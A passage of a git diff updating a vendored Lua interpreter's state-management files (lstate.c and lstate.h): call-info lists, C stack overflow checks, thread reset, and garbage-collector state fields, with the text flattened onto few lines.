lua_assert(tb > 0); + if (debt < tb - MAX_LMEM) + debt = tb - MAX_LMEM; /* will make 'totalbytes == MAX_LMEM' */ + g->totalbytes = tb - debt; g->GCdebt = debt; } +LUA_API int lua_setcstacklimit(lua_State *L, unsigned int limit) { + UNUSED(L); + UNUSED(limit); + return LUAI_MAXCCALLS; /* warning?? */ +} + + CallInfo *luaE_extendCI(lua_State *L) { - CallInfo *ci = luaM_new(L, CallInfo); + CallInfo *ci; + lua_assert(L->ci->next == NULL); + ci = luaM_new(L, CallInfo); lua_assert(L->ci->next == NULL); L->ci->next = ci; ci->previous = L->ci; ci->next = NULL; + ci->u.l.trap = 0; + L->nci++; return ci; } -void luaE_freeCI(lua_State *L) { +/* +** free all CallInfo structures not in use by a thread +*/ +static void freeCI(lua_State *L) { CallInfo *ci = L->ci; CallInfo *next = ci->next; ci->next = NULL; while ((ci = next) != NULL) { next = ci->next; luaM_free(L, ci); + L->nci--; } } +/* +** free half of the CallInfo structures not in use by a thread, +** keeping the first one. +*/ +void luaE_shrinkCI(lua_State *L) { + CallInfo *ci = L->ci->next; /* first free CallInfo */ + CallInfo *next; + if (ci == NULL) + return; /* no extra elements */ + while ((next = ci->next) != NULL) { /* two extra elements? */ + CallInfo *next2 = next->next; /* next's next */ + ci->next = next2; /* remove next from the list */ + L->nci--; + luaM_free(L, next); /* free next */ + if (next2 == NULL) + break; /* no more elements */ + else { + next2->previous = ci; + ci = next2; /* continue */ + } + } +} + + +/* +** Called when 'getCcalls(L)' larger or equal to LUAI_MAXCCALLS. +** If equal, raises an overflow error. If value is larger than +** LUAI_MAXCCALLS (which means it is handling an overflow) but +** not much larger, does not report an error (to allow overflow +** handling to work). +*/ +void luaE_checkcstack(lua_State *L) { + if (getCcalls(L) == LUAI_MAXCCALLS) + luaG_runerror(L, "C stack overflow"); + else if (getCcalls(L) >= (LUAI_MAXCCALLS / 10 * 11)) + luaD_throw(L, LUA_ERRERR); /* error while handling stack error */ +} + + +LUAI_FUNC void luaE_incCstack(lua_State *L) { + L->nCcalls++; + if (l_unlikely(getCcalls(L) >= LUAI_MAXCCALLS)) + luaE_checkcstack(L); +} + + static void stack_init(lua_State *L1, lua_State *L) { int i; CallInfo *ci; /* initialize stack array */ - L1->stack = luaM_newvector(L, BASIC_STACK_SIZE, TValue); - L1->stacksize = BASIC_STACK_SIZE; - for (i = 0; i < BASIC_STACK_SIZE; i++) - setnilvalue(L1->stack + i); /* erase new stack */ - L1->top = L1->stack; - L1->stack_last = L1->stack + L1->stacksize - EXTRA_STACK; + L1->stack.p = luaM_newvector(L, BASIC_STACK_SIZE + EXTRA_STACK, StackValue); + L1->tbclist.p = L1->stack.p; + for (i = 0; i < BASIC_STACK_SIZE + EXTRA_STACK; i++) + setnilvalue(s2v(L1->stack.p + i)); /* erase new stack */ + L1->top.p = L1->stack.p; + L1->stack_last.p = L1->stack.p + BASIC_STACK_SIZE; /* initialize first ci */ ci = &L1->base_ci; ci->next = ci->previous = NULL; - ci->callstatus = 0; - ci->func = L1->top; - setnilvalue(L1->top++); /* 'function' entry for this 'ci' */ - ci->top = L1->top + LUA_MINSTACK; + ci->callstatus = CIST_C; + ci->func.p = L1->top.p; + ci->u.c.k = NULL; + ci->nresults = 0; + setnilvalue(s2v(L1->top.p)); /* 'function' entry for this 'ci' */ + L1->top.p++; + ci->top.p = L1->top.p + LUA_MINSTACK; L1->ci = ci; } static void freestack(lua_State *L) { - if (L->stack == NULL) + if (L->stack.p == NULL) return; /* stack not completely built yet */ L->ci = &L->base_ci; /* free the entire 'ci' list */ - luaE_freeCI(L); - luaM_freearray(L, L->stack, L->stacksize); /* free stack array */ + freeCI(L); + lua_assert(L->nci == 0); + luaM_freearray(L, L->stack.p, stacksize(L) + EXTRA_STACK); /* free stack */ } @@ -164,72 +216,69 @@ static void freestack(lua_State *L) { ** Create registry table and its predefined values */ static void init_registry(lua_State *L, global_State *g) { - TValue mt; /* create registry */ Table *registry = luaH_new(L); sethvalue(L, &g->l_registry, registry); luaH_resize(L, registry, LUA_RIDX_LAST, 0); /* registry[LUA_RIDX_MAINTHREAD] = L */ - setthvalue(L, &mt, L); - luaH_setint(L, registry, LUA_RIDX_MAINTHREAD, &mt); - /* registry[LUA_RIDX_GLOBALS] = table of globals */ - sethvalue(L, &mt, luaH_new(L)); - luaH_setint(L, registry, LUA_RIDX_GLOBALS, &mt); + setthvalue(L, ®istry->array[LUA_RIDX_MAINTHREAD - 1], L); + /* registry[LUA_RIDX_GLOBALS] = new table (table of globals) */ + sethvalue(L, ®istry->array[LUA_RIDX_GLOBALS - 1], luaH_new(L)); } /* -** open parts of the state that may cause memory-allocation errors +** open parts of the state that may cause memory-allocation errors. */ static void f_luaopen(lua_State *L, void *ud) { global_State *g = G(L); UNUSED(ud); stack_init(L, L); /* init stack */ init_registry(L, g); - luaS_resize(L, MINSTRTABSIZE); /* initial size of string table */ + luaS_init(L); luaT_init(L); luaX_init(L); - /* pre-create memory-error message */ - g->memerrmsg = luaS_newliteral(L, MEMERRMSG); - luaS_fix(g->memerrmsg); /* it should never be collected */ - g->gcrunning = 1; /* allow gc */ - g->version = lua_version(NULL); + g->gcstp = 0; /* allow gc */ + setnilvalue(&g->nilvalue); /* now state is complete */ luai_userstateopen(L); } /* -** preinitialize a state with consistent values without allocating +** preinitialize a thread with consistent values without allocating ** any memory (to avoid errors) */ -static void preinit_state(lua_State *L, global_State *g) { +static void preinit_thread(lua_State *L, global_State *g) { G(L) = g; - L->stack = NULL; + L->stack.p = NULL; L->ci = NULL; - L->stacksize = 0; - L->errorJmp = NULL; + L->nci = 0; + L->twups = L; /* thread has no upvalues */ L->nCcalls = 0; + L->errorJmp = NULL; L->hook = NULL; L->hookmask = 0; L->basehookcount = 0; L->allowhook = 1; resethookcount(L); L->openupval = NULL; - L->nny = 1; L->status = LUA_OK; L->errfunc = 0; + L->oldpc = 0; } static void close_state(lua_State *L) { global_State *g = G(L); - luaF_close(L, L->stack); /* close all upvalues for this thread */ - luaC_freeallobjects(L); /* collect all objects */ - if (g->version) /* closing a fully built state? */ + if (!completestate(g)) /* closing a partially built state? */ + luaC_freeallobjects(L); /* just collect its objects */ + else { /* closing a fully built state */ + L->ci = &L->base_ci; /* unwind CallInfo list */ + luaD_closeprotected(L, 1, LUA_OK); /* close all upvalues */ + luaC_freeallobjects(L); /* collect all objects */ luai_userstateclose(L); - + } luaM_freearray(L, G(L)->strt.hash, G(L)->strt.size); - luaZ_freebuffer(L, &g->buff); freestack(L); lua_assert(gettotalbytes(g) == sizeof(LG)); (*g->frealloc)(g->ud, fromstate(L), sizeof(LG), 0); /* free main block */ @@ -237,17 +286,25 @@ static void close_state(lua_State *L) { LUA_API lua_State *lua_newthread(lua_State *L) { + global_State *g = G(L); + GCObject *o; lua_State *L1; lua_lock(L); luaC_checkGC(L); - L1 = &luaC_newobj(L, LUA_TTHREAD, sizeof(LX), NULL, offsetof(LX, l))->th; - setthvalue(L, L->top, L1); + /* create new thread */ + o = luaC_newobjdt(L, LUA_TTHREAD, sizeof(LX), offsetof(LX, l)); + L1 = gco2th(o); + /* anchor it on L stack */ + setthvalue2s(L, L->top.p, L1); api_incr_top(L); - preinit_state(L1, G(L)); + preinit_thread(L1, g); L1->hookmask = L->hookmask; L1->basehookcount = L->basehookcount; L1->hook = L->hook; resethookcount(L1); + /* initialize L1 extra space */ + memcpy(lua_getextraspace(L1), lua_getextraspace(g->mainthread), + LUA_EXTRASPACE); luai_userstatethread(L, L1); stack_init(L1, L); /* init stack */ lua_unlock(L); @@ -257,7 +314,7 @@ LUA_API lua_State *lua_newthread(lua_State *L) { void luaE_freethread(lua_State *L, lua_State *L1) { LX *l = fromstate(L1); - luaF_close(L1, L1->stack); /* close all upvalues for this thread */ + luaF_closeupval(L1, L1->stack.p); /* close all upvalues */ lua_assert(L1->openupval == NULL); luai_userstatefree(L, L1); freestack(L1); @@ -265,6 +322,43 @@ void luaE_freethread(lua_State *L, lua_State *L1) { } +int luaE_resetthread(lua_State *L, int status) { + CallInfo *ci = L->ci = &L->base_ci; /* unwind CallInfo list */ + setnilvalue(s2v(L->stack.p)); /* 'function' entry for basic 'ci' */ + ci->func.p = L->stack.p; + ci->callstatus = CIST_C; + if (status == LUA_YIELD) + status = LUA_OK; + L->status = LUA_OK; /* so it can run __close metamethods */ + status = luaD_closeprotected(L, 1, status); + if (status != LUA_OK) /* errors? */ + luaD_seterrorobj(L, status, L->stack.p + 1); + else + L->top.p = L->stack.p + 1; + ci->top.p = L->top.p + LUA_MINSTACK; + luaD_reallocstack(L, cast_int(ci->top.p - L->stack.p), 0); + return status; +} + + +LUA_API int lua_closethread(lua_State *L, lua_State *from) { + int status; + lua_lock(L); + L->nCcalls = (from) ? getCcalls(from) : 0; + status = luaE_resetthread(L, L->status); + lua_unlock(L); + return status; +} + + +/* +** Deprecated! Use 'lua_closethread' instead. +*/ +LUA_API int lua_resetthread(lua_State *L) { + return lua_closethread(L, NULL); +} + + LUA_API lua_State *lua_newstate(lua_Alloc f, void *ud) { int i; lua_State *L; @@ -273,39 +367,44 @@ LUA_API lua_State *lua_newstate(lua_Alloc f, void *ud) { if (l == NULL) return NULL; L = &l->l.l; g = &l->g; - L->next = NULL; - L->tt = LUA_TTHREAD; - g->currentwhite = bit2mask(WHITE0BIT, FIXEDBIT); + L->tt = LUA_VTHREAD; + g->currentwhite = bitmask(WHITE0BIT); L->marked = luaC_white(g); - g->gckind = KGC_NORMAL; - preinit_state(L, g); + preinit_thread(L, g); + g->allgc = obj2gco(L); /* by now, only object is the main thread */ + L->next = NULL; + incnny(L); /* main thread is always non yieldable */ g->frealloc = f; g->ud = ud; + g->warnf = NULL; + g->ud_warn = NULL; g->mainthread = L; - g->seed = makeseed(L); - g->uvhead.u.l.prev = &g->uvhead; - g->uvhead.u.l.next = &g->uvhead; - g->gcrunning = 0; /* no GC while building state */ - g->GCestimate = 0; - g->strt.size = 0; - g->strt.nuse = 0; + g->seed = luai_makeseed(L); + g->gcstp = GCSTPGC; /* no GC while building state */ + g->strt.size = g->strt.nuse = 0; g->strt.hash = NULL; setnilvalue(&g->l_registry); - luaZ_initbuffer(L, &g->buff); g->panic = NULL; - g->version = NULL; g->gcstate = GCSpause; - g->allgc = NULL; - g->finobj = NULL; - g->tobefnz = NULL; - g->sweepgc = g->sweepfin = NULL; + g->gckind = KGC_INC; + g->gcstopem = 0; + g->gcemergency = 0; + g->finobj = g->tobefnz = g->fixedgc = NULL; + g->firstold1 = g->survival = g->old1 = g->reallyold = NULL; + g->finobjsur = g->finobjold1 = g->finobjrold = NULL; + g->sweepgc = NULL; g->gray = g->grayagain = NULL; g->weak = g->ephemeron = g->allweak = NULL; + g->twups = NULL; g->totalbytes = sizeof(LG); g->GCdebt = 0; - g->gcpause = LUAI_GCPAUSE; - g->gcmajorinc = LUAI_GCMAJOR; - g->gcstepmul = LUAI_GCMUL; + g->lastatomic = 0; + setivalue(&g->nilvalue, 0); /* to signal that state is not yet built */ + setgcparam(g->gcpause, LUAI_GCPAUSE); + setgcparam(g->gcstepmul, LUAI_GCMUL); + g->gcstepsize = LUAI_GCSTEPSIZE; + setgcparam(g->genmajormul, LUAI_GENMAJORMUL); + g->genminormul = LUAI_GENMINORMUL; for (i = 0; i < LUA_NUMTAGS; i++) g->mt[i] = NULL; if (luaD_rawrunprotected(L, f_luaopen, NULL) != LUA_OK) { /* memory allocation error: free partial state */ @@ -317,9 +416,32 @@ LUA_API lua_State *lua_newstate(lua_Alloc f, void *ud) { LUA_API void lua_close(lua_State *L) { - L = G(L)->mainthread; /* only the main thread can be closed */ lua_lock(L); + L = G(L)->mainthread; /* only the main thread can be closed */ close_state(L); } +void luaE_warning(lua_State *L, const char *msg, int tocont) { + lua_WarnFunction wf = G(L)->warnf; + if (wf != NULL) + wf(G(L)->ud_warn, msg, tocont); +} + + +/* +** Generate a warning from an error message +*/ +void luaE_warnerror(lua_State *L, const char *where) { + TValue *errobj = s2v(L->top.p - 1); /* error object */ + const char *msg = (ttisstring(errobj)) + ? getstr(tsvalue(errobj)) + : "error object is not a string"; + /* produce warning "error in %s (%s)" (where, msg) */ + luaE_warning(L, "error in ", 1); + luaE_warning(L, where, 1); + luaE_warning(L, " (", 1); + luaE_warning(L, msg, 1); + luaE_warning(L, ")", 0); +} + diff --git a/client/deps/liblua/lstate.h b/client/deps/liblua/lstate.h index caa913558..00ba80f93 100644 --- a/client/deps/liblua/lstate.h +++ b/client/deps/liblua/lstate.h @@ -1,5 +1,5 @@ /* -** $Id: lstate.h,v 2.82 2012/07/02 13:37:04 roberto Exp $ +** $Id: lstate.h $ ** Global State ** See Copyright Notice in lua.h */ @@ -9,219 +9,399 @@ #include "lua.h" + +/* Some header files included here need this definition */ +typedef struct CallInfo CallInfo; + + #include "lobject.h" #include "ltm.h" #include "lzio.h" /* - -** Some notes about garbage-collected objects: All objects in Lua must -** be kept somehow accessible until being freed. +** Some notes about garbage-collected objects: All objects in Lua must +** be kept somehow accessible until being freed, so all objects always +** belong to one (and only one) of these lists, using field 'next' of +** the 'CommonHeader' for the link: ** -** Lua keeps most objects linked in list g->allgc. The link uses field -** 'next' of the CommonHeader. +** 'allgc': all objects not marked for finalization; +** 'finobj': all objects marked for finalization; +** 'tobefnz': all objects ready to be finalized; +** 'fixedgc': all objects that are not to be collected (currently +** only small strings, such as reserved words). ** -** Strings are kept in several lists headed by the array g->strt.hash. +** For the generational collector, some of these lists have marks for +** generations. Each mark points to the first element in the list for +** that particular generation; that generation goes until the next mark. ** -** Open upvalues are not subject to independent garbage collection. They -** are collected together with their respective threads. Lua keeps a -** double-linked list with all open upvalues (g->uvhead) so that it can -** mark objects referred by them. (They are always gray, so they must -** be remarked in the atomic step. Usually their contents would be marked -** when traversing the respective threads, but the thread may already be -** dead, while the upvalue is still accessible through closures.) +** 'allgc' -> 'survival': new objects; +** 'survival' -> 'old': objects that survived one collection; +** 'old1' -> 'reallyold': objects that became old in last collection; +** 'reallyold' -> NULL: objects old for more than one cycle. ** -** Objects with finalizers are kept in the list g->finobj. +** 'finobj' -> 'finobjsur': new objects marked for finalization; +** 'finobjsur' -> 'finobjold1': survived """"; +** 'finobjold1' -> 'finobjrold': just old """"; +** 'finobjrold' -> NULL: really old """". ** -** The list g->tobefnz links all objects being finalized. - +** All lists can contain elements older than their main ages, due +** to 'luaC_checkfinalizer' and 'udata2finalize', which move +** objects between the normal lists and the "marked for finalization" +** lists. Moreover, barriers can age young objects in young lists as +** OLD0, which then become OLD1. However, a list never contains +** elements younger than their main ages. +** +** The generational collector also uses a pointer 'firstold1', which +** points to the first OLD1 object in the list. It is used to optimize +** 'markold'. (Potentially OLD1 objects can be anywhere between 'allgc' +** and 'reallyold', but often the list has no OLD1 objects or they are +** after 'old1'.) Note the difference between it and 'old1': +** 'firstold1': no OLD1 objects before this point; there can be all +** ages after it. +** 'old1': no objects younger than OLD1 after this point. */ +/* +** Moreover, there is another set of lists that control gray objects. +** These lists are linked by fields 'gclist'. (All objects that +** can become gray have such a field. The field is not the same +** in all objects, but it always has this name.) Any gray object +** must belong to one of these lists, and all objects in these lists +** must be gray (with two exceptions explained below): +** +** 'gray': regular gray objects, still waiting to be visited. +** 'grayagain': objects that must be revisited at the atomic phase. +** That includes +** - black objects got in a write barrier; +** - all kinds of weak tables during propagation phase; +** - all threads. +** 'weak': tables with weak values to be cleared; +** 'ephemeron': ephemeron tables with white->white entries; +** 'allweak': tables with weak keys and/or weak values to be cleared. +** +** The exceptions to that "gray rule" are: +** - TOUCHED2 objects in generational mode stay in a gray list (because +** they must be visited again at the end of the cycle), but they are +** marked black because assignments to them must activate barriers (to +** move them back to TOUCHED1). +** - Open upvales are kept gray to avoid barriers, but they stay out +** of gray lists. (They don't even have a 'gclist' field.) +*/ + + + +/* +** About 'nCcalls': This count has two parts: the lower 16 bits counts +** the number of recursive invocations in the C stack; the higher +** 16 bits counts the number of non-yieldable calls in the stack. +** (They are together so that we can change and save both with one +** instruction.) +*/ + + +/* true if this thread does not have non-yieldable calls in the stack */ +#define yieldable(L) (((L)->nCcalls & 0xffff0000) == 0) + +/* real number of C calls */ +#define getCcalls(L) ((L)->nCcalls & 0xffff) + + +/* Increment the number of non-yieldable calls */ +#define incnny(L) ((L)->nCcalls += 0x10000) + +/* Decrement the number of non-yieldable calls */ +#define decnny(L) ((L)->nCcalls -= 0x10000) + +/* Non-yieldable call increment */ +#define nyci (0x10000 | 1) + + + struct lua_longjmp; /* defined in ldo.c */ +/* +** Atomic type (relative to signals) to better ensure that 'lua_sethook' +** is thread safe +*/ +#if !defined(l_signalT) +#include +#define l_signalT sig_atomic_t +#endif -/* extra stack space to handle TM calls and some other extras */ + +/* +** Extra stack space to handle TM calls and some other extras. This +** space is not included in 'stack_last'. It is used only to avoid stack +** checks, either because the element will be promptly popped or because +** there will be a stack check soon after the push. Function frames +** never use this extra space, so it does not need to be kept clean. +*/ #define EXTRA_STACK 5 #define BASIC_STACK_SIZE (2*LUA_MINSTACK) +#define stacksize(th) cast_int((th)->stack_last.p - (th)->stack.p) + /* kinds of Garbage Collection */ -#define KGC_NORMAL 0 -#define KGC_EMERGENCY 1 /* gc was forced by an allocation failure */ -#define KGC_GEN 2 /* generational collection */ +#define KGC_INC 0 /* incremental gc */ +#define KGC_GEN 1 /* generational gc */ typedef struct stringtable { - GCObject **hash; - lu_int32 nuse; /* number of elements */ + TString **hash; + int nuse; /* number of elements */ int size; } stringtable; /* -** information about a call +** Information about a call. +** About union 'u': +** - field 'l' is used only for Lua functions; +** - field 'c' is used only for C functions. +** About union 'u2': +** - field 'funcidx' is used only by C functions while doing a +** protected call; +** - field 'nyield' is used only while a function is "doing" an +** yield (from the yield until the next resume); +** - field 'nres' is used only while closing tbc variables when +** returning from a function; +** - field 'transferinfo' is used only during call/returnhooks, +** before the function starts or after it ends. */ -typedef struct CallInfo { - StkId func; /* function index in the stack */ - StkId top; /* top for this function */ +struct CallInfo { + StkIdRel func; /* function index in the stack */ + StkIdRel top; /* top for this function */ struct CallInfo *previous, *next; /* dynamic call link */ - short nresults; /* expected number of results from this function */ - lu_byte callstatus; - ptrdiff_t extra; union { struct { /* only for Lua functions */ - StkId base; /* base for this function */ const Instruction *savedpc; + volatile l_signalT trap; /* function is tracing lines/counts */ + int nextraargs; /* # of extra arguments in vararg functions */ } l; struct { /* only for C functions */ - int ctx; /* context info. in case of yields */ - lua_CFunction k; /* continuation in case of yields */ + lua_KFunction k; /* continuation in case of yields */ ptrdiff_t old_errfunc; - lu_byte old_allowhook; - lu_byte status; + lua_KContext ctx; /* context info. in case of yields */ } c; } u; -} CallInfo; + union { + int funcidx; /* called-function index */ + int nyield; /* number of values yielded */ + int nres; /* number of values returned */ + struct { /* info about transferred values (for call/return hooks) */ + unsigned short ftransfer; /* offset of first value transferred */ + unsigned short ntransfer; /* number of values transferred */ + } transferinfo; + } u2; + short nresults; /* expected number of results from this function */ + unsigned short callstatus; +}; /* ** Bits in CallInfo status */ -#define CIST_LUA (1<<0) /* call is running a Lua function */ -#define CIST_HOOKED (1<<1) /* call is running a debug hook */ -#define CIST_REENTRY (1<<2) /* call is running on same invocation of - luaV_execute of previous call */ -#define CIST_YIELDED (1<<3) /* call reentered after suspension */ -#define CIST_YPCALL (1<<4) /* call is a yieldable protected call */ -#define CIST_STAT (1<<5) /* call has an error status (pcall) */ -#define CIST_TAIL (1<<6) /* call was tail called */ -#define CIST_HOOKYIELD (1<<7) /* last hook called yielded */ - - -#define isLua(ci) ((ci)->callstatus & CIST_LUA) +#define CIST_OAH (1<<0) /* original value of 'allowhook' */ +#define CIST_C (1<<1) /* call is running a C function */ +#define CIST_FRESH (1<<2) /* call is on a fresh "luaV_execute" frame */ +#define CIST_HOOKED (1<<3) /* call is running a debug hook */ +#define CIST_YPCALL (1<<4) /* doing a yieldable protected call */ +#define CIST_TAIL (1<<5) /* call was tail called */ +#define CIST_HOOKYIELD (1<<6) /* last hook called yielded */ +#define CIST_FIN (1<<7) /* function "called" a finalizer */ +#define CIST_TRAN (1<<8) /* 'ci' has transfer information */ +#define CIST_CLSRET (1<<9) /* function is closing tbc variables */ +/* Bits 10-12 are used for CIST_RECST (see below) */ +#define CIST_RECST 10 +#if defined(LUA_COMPAT_LT_LE) +#define CIST_LEQ (1<<13) /* using __lt for __le */ +#endif /* -** `global state', shared by all threads of this state +** Field CIST_RECST stores the "recover status", used to keep the error +** status while closing to-be-closed variables in coroutines, so that +** Lua can correctly resume after an yield from a __close method called +** because of an error. (Three bits are enough for error status.) +*/ +#define getcistrecst(ci) (((ci)->callstatus >> CIST_RECST) & 7) +#define setcistrecst(ci,st) \ + check_exp(((st) & 7) == (st), /* status must fit in three bits */ \ + ((ci)->callstatus = ((ci)->callstatus & ~(7 << CIST_RECST)) \ + | ((st) << CIST_RECST))) + + +/* active function is a Lua function */ +#define isLua(ci) (!((ci)->callstatus & CIST_C)) + +/* call is running Lua code (not a hook) */ +#define isLuacode(ci) (!((ci)->callstatus & (CIST_C | CIST_HOOKED))) + +/* assume that CIST_OAH has offset 0 and that 'v' is strictly 0/1 */ +#define setoah(st,v) ((st) = ((st) & ~CIST_OAH) | (v)) +#define getoah(st) ((st) & CIST_OAH) + + +/* +** 'global state', shared by all threads of this state */ typedef struct global_State { lua_Alloc frealloc; /* function to reallocate memory */ - void *ud; /* auxiliary data to `frealloc' */ - lu_mem totalbytes; /* number of bytes currently allocated - GCdebt */ + void *ud; /* auxiliary data to 'frealloc' */ + l_mem totalbytes; /* number of bytes currently allocated - GCdebt */ l_mem GCdebt; /* bytes allocated not yet compensated by the collector */ - lu_mem GCmemtrav; /* memory traversed by the GC */ lu_mem GCestimate; /* an estimate of the non-garbage memory in use */ + lu_mem lastatomic; /* see function 'genstep' in file 'lgc.c' */ stringtable strt; /* hash table for strings */ TValue l_registry; + TValue nilvalue; /* a nil value */ unsigned int seed; /* randomized seed for hashes */ lu_byte currentwhite; lu_byte gcstate; /* state of garbage collector */ lu_byte gckind; /* kind of GC running */ - lu_byte gcrunning; /* true if GC is running */ - int sweepstrgc; /* position of sweep in `strt' */ + lu_byte gcstopem; /* stops emergency collections */ + lu_byte genminormul; /* control for minor generational collections */ + lu_byte genmajormul; /* control for major generational collections */ + lu_byte gcstp; /* control whether GC is running */ + lu_byte gcemergency; /* true if this is an emergency collection */ + lu_byte gcpause; /* size of pause between successive GCs */ + lu_byte gcstepmul; /* GC "speed" */ + lu_byte gcstepsize; /* (log2 of) GC granularity */ GCObject *allgc; /* list of all collectable objects */ + GCObject **sweepgc; /* current position of sweep in list */ GCObject *finobj; /* list of collectable objects with finalizers */ - GCObject **sweepgc; /* current position of sweep in list 'allgc' */ - GCObject **sweepfin; /* current position of sweep in list 'finobj' */ GCObject *gray; /* list of gray objects */ GCObject *grayagain; /* list of objects to be traversed atomically */ GCObject *weak; /* list of tables with weak values */ GCObject *ephemeron; /* list of ephemeron tables (weak keys) */ GCObject *allweak; /* list of all-weak tables */ GCObject *tobefnz; /* list of userdata to be GC */ - UpVal uvhead; /* head of double-linked list of all open upvalues */ - Mbuffer buff; /* temporary buffer for string concatenation */ - int gcpause; /* size of pause between successive GCs */ - int gcmajorinc; /* pause between major collections (only in gen. mode) */ - int gcstepmul; /* GC `granularity' */ + GCObject *fixedgc; /* list of objects not to be collected */ + /* fields for generational collector */ + GCObject *survival; /* start of objects that survived one GC cycle */ + GCObject *old1; /* start of old1 objects */ + GCObject *reallyold; /* objects more than one cycle old ("really old") */ + GCObject *firstold1; /* first OLD1 object in the list (if any) */ + GCObject *finobjsur; /* list of survival objects with finalizers */ + GCObject *finobjold1; /* list of old1 objects with finalizers */ + GCObject *finobjrold; /* list of really old objects with finalizers */ + struct lua_State *twups; /* list of threads with open upvalues */ lua_CFunction panic; /* to be called in unprotected errors */ struct lua_State *mainthread; - const lua_Number *version; /* pointer to version number */ - TString *memerrmsg; /* memory-error message */ + TString *memerrmsg; /* message for memory-allocation errors */ TString *tmname[TM_N]; /* array with tag-method names */ - struct Table *mt[LUA_NUMTAGS]; /* metatables for basic types */ + struct Table *mt[LUA_NUMTYPES]; /* metatables for basic types */ + TString *strcache[STRCACHE_N][STRCACHE_M]; /* cache for strings in API */ + lua_WarnFunction warnf; /* warning function */ + void *ud_warn; /* auxiliary data to 'warnf' */ } global_State; /* -** `per thread' state +** 'per thread' state */ struct lua_State { CommonHeader; lu_byte status; - StkId top; /* first free slot in the stack */ + lu_byte allowhook; + unsigned short nci; /* number of items in 'ci' list */ + StkIdRel top; /* first free slot in the stack */ global_State *l_G; CallInfo *ci; /* call info for current function */ - const Instruction *oldpc; /* last pc traced */ - StkId stack_last; /* last free slot in the stack */ - StkId stack; /* stack base */ - int stacksize; - unsigned short nny; /* number of non-yieldable calls in stack */ - unsigned short nCcalls; /* number of nested C calls */ - lu_byte hookmask; - lu_byte allowhook; + StkIdRel stack_last; /* end of stack (last element + 1) */ + StkIdRel stack; /* stack base */ + UpVal *openupval; /* list of open upvalues in this stack */ + StkIdRel tbclist; /* list of to-be-closed variables */ + GCObject *gclist; + struct lua_State *twups; /* list of threads with open upvalues */ + struct lua_longjmp *errorJmp; /* current error recover point */ + CallInfo base_ci; /* CallInfo for first level (C calling Lua) */ + volatile lua_Hook hook; + ptrdiff_t errfunc; /* current error handling function (stack index) */ + l_uint32 nCcalls; /* number of nested (non-yieldable | C) calls */ + int oldpc; /* last pc traced */ int basehookcount; int hookcount; - lua_Hook hook; - GCObject *openupval; /* list of open upvalues in this stack */ - GCObject *gclist; - struct lua_longjmp *errorJmp; /* current error recover point */ - ptrdiff_t errfunc; /* current error handling function (stack index) */ - CallInfo base_ci; /* CallInfo for first level (C calling Lua) */ + volatile l_signalT hookmask; }; -#define G(L) (L->l_G) +#define G(L) (L->l_G) + +/* +** 'g->nilvalue' being a nil value flags that the state was completely +** build. +*/ +#define completestate(g) ttisnil(&g->nilvalue) /* -** Union of all collectable objects +** Union of all collectable objects (only for conversions) +** ISO C99, 6.5.2.3 p.5: +** "if a union contains several structures that share a common initial +** sequence [...], and if the union object currently contains one +** of these structures, it is permitted to inspect the common initial +** part of any of them anywhere that a declaration of the complete type +** of the union is visible." */ -union GCObject { - GCheader gch; /* common header */ - union TString ts; - union Udata u; +union GCUnion { + GCObject gc; /* common header */ + struct TString ts; + struct Udata u; union Closure cl; struct Table h; struct Proto p; - struct UpVal uv; struct lua_State th; /* thread */ + struct UpVal upv; }; -#define gch(o) (&(o)->gch) +/* +** ISO C99, 6.7.2.1 p.14: +** "A pointer to a union object, suitably converted, points to each of +** its members [...], and vice versa." +*/ +#define cast_u(o) cast(union GCUnion *, (o)) /* macros to convert a GCObject into a specific value */ -#define rawgco2ts(o) \ - check_exp(novariant((o)->gch.tt) == LUA_TSTRING, &((o)->ts)) -#define gco2ts(o) (&rawgco2ts(o)->tsv) -#define rawgco2u(o) check_exp((o)->gch.tt == LUA_TUSERDATA, &((o)->u)) -#define gco2u(o) (&rawgco2u(o)->uv) -#define gco2lcl(o) check_exp((o)->gch.tt == LUA_TLCL, &((o)->cl.l)) -#define gco2ccl(o) check_exp((o)->gch.tt == LUA_TCCL, &((o)->cl.c)) +#define gco2ts(o) \ + check_exp(novariant((o)->tt) == LUA_TSTRING, &((cast_u(o))->ts)) +#define gco2u(o) check_exp((o)->tt == LUA_VUSERDATA, &((cast_u(o))->u)) +#define gco2lcl(o) check_exp((o)->tt == LUA_VLCL, &((cast_u(o))->cl.l)) +#define gco2ccl(o) check_exp((o)->tt == LUA_VCCL, &((cast_u(o))->cl.c)) #define gco2cl(o) \ - check_exp(novariant((o)->gch.tt) == LUA_TFUNCTION, &((o)->cl)) -#define gco2t(o) check_exp((o)->gch.tt == LUA_TTABLE, &((o)->h)) -#define gco2p(o) check_exp((o)->gch.tt == LUA_TPROTO, &((o)->p)) -#define gco2uv(o) check_exp((o)->gch.tt == LUA_TUPVAL, &((o)->uv)) -#define gco2th(o) check_exp((o)->gch.tt == LUA_TTHREAD, &((o)->th)) + check_exp(novariant((o)->tt) == LUA_TFUNCTION, &((cast_u(o))->cl)) +#define gco2t(o) check_exp((o)->tt == LUA_VTABLE, &((cast_u(o))->h)) +#define gco2p(o) check_exp((o)->tt == LUA_VPROTO, &((cast_u(o))->p)) +#define gco2th(o) check_exp((o)->tt == LUA_VTHREAD, &((cast_u(o))->th)) +#define gco2upv(o) check_exp((o)->tt == LUA_VUPVAL, &((cast_u(o))->upv)) -/* macro to convert any Lua object into a GCObject */ -#define obj2gco(v) (cast(GCObject *, (v))) + +/* +** macro to convert a Lua object into a GCObject +** (The access to 'tt' tries to ensure that 'v' is actually a Lua object.) +*/ +#define obj2gco(v) check_exp((v)->tt >= LUA_TSTRING, &(cast_u(v)->gc)) /* actual number of total bytes allocated */ -#define gettotalbytes(g) ((g)->totalbytes + (g)->GCdebt) +#define gettotalbytes(g) cast(lu_mem, (g)->totalbytes + (g)->GCdebt) LUAI_FUNC void luaE_setdebt(global_State *g, l_mem debt); LUAI_FUNC void luaE_freethread(lua_State *L, lua_State *L1); LUAI_FUNC CallInfo *luaE_extendCI(lua_State *L); -LUAI_FUNC void luaE_freeCI(lua_State *L); +LUAI_FUNC void luaE_shrinkCI(lua_State *L); +LUAI_FUNC void luaE_checkcstack(lua_State *L); +LUAI_FUNC void luaE_incCstack(lua_State *L); +LUAI_FUNC void luaE_warning(lua_State *L, const char *msg, int tocont); +LUAI_FUNC void luaE_warnerror(lua_State *L, const char *where); +LUAI_FUNC int luaE_resetthread(lua_State *L, int status); #endif diff --git a/client/deps/liblua/lstring.c b/client/deps/liblua/lstring.c index a0457e844..6c953f684 100644 --- a/client/deps/liblua/lstring.c +++ 